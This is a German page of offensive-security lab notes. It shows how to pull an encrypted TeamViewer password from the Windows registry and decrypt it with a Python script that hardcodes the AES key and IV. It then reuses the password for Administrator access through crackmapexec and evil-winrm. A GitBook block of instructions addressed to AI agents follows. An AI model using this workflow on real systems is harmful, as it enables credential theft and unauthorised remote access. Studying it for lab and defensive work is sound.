> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/windows-vulnerabilities/vulnerable-services-and-processes/teamviewer-registry-password.md).

# TeamViewer-Registry-Passwort

Einige ältere TeamViewer-Versionen speichern ein verschlüsseltes Passwort in der Windows-Registry. Das Ziel ist es, die Version zu identifizieren, den AES-Wert wiederherzustellen, ihn zu entschlüsseln und zu überprüfen, ob die Anmeldedaten wiederverwendbar sind.

## Den Prozess identifizieren

```powershell
tasklist /svc
```

<figure><img src="/files/cdd861e550f7bb8e28fe48ff3cbb6f3b63304286" alt="TeamViewer process identified in tasklist output"><figcaption></figcaption></figure>

## Den Registry-Schlüssel suchen

```powershell
cd HKLM:SOFTWARE/WOW6432Node/TeamViewer/Version7
(Get-ItemProperty .).SecurityPasswordAES
```

<figure><img src="/files/08d2bf33fef673696e81fdc337a75cb17e5c82f7" alt="TeamViewer SecurityPasswordAES registry value"><figcaption></figcaption></figure>

## Den Wert entschlüsseln

```python
from Crypto.Cipher import AES

IV = b"\x01\x00\x01\x00\x67\x24\x4F\x43\x6E\x67\x62\xF2\x5E\xA8\xD7\x04"
key = b"\x06\x02\x00\x00\x00\xa4\x00\x00\x52\x53\x41\x31\x00\x04\x00\x00"
ciphertext = bytes([255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91])

decipher = AES.new(key, AES.MODE_CBC, IV)
print(decipher.decrypt(ciphertext).decode())
```

<figure><img src="/files/d1c36bd692b0b37b7d74819348f425ecf724c798" alt="Decrypted TeamViewer password"><figcaption></figcaption></figure>

## Den Zugriff validieren

```bash
crackmapexec smb 10.10.10.180 -u 'Administrator' -p '<recovered_password>'
```

<figure><img src="/files/c2b1bc820c01e0694b6ba94e4913fe72af39dbc3" alt="SMB credential validation with CrackMapExec"><figcaption></figcaption></figure>

```bash
evil-winrm -i 10.10.10.180 -u 'Administrator' -p '<recovered_password>'
```

<figure><img src="/files/2adc5f84f8e2989722e58b537d3454ce67111bb0" alt="Evil-WinRM login with recovered TeamViewer password"><figcaption></figcaption></figure>

## Wichtige Punkte

* Identifizieren Sie die genaue TeamViewer-Version, bevor Sie einen bekannten Entschlüsselungs-Workflow anwenden.
* Überprüfen Sie die Registry auf persistente Geheimnisse von Anwendungen von Drittanbietern.
* Beheben Sie das Problem, indem Sie TeamViewer aktualisieren und wiederverwendbare Passwörter für unbeaufsichtigten Zugriff vermeiden.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/windows-vulnerabilities/vulnerable-services-and-processes/teamviewer-registry-password.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
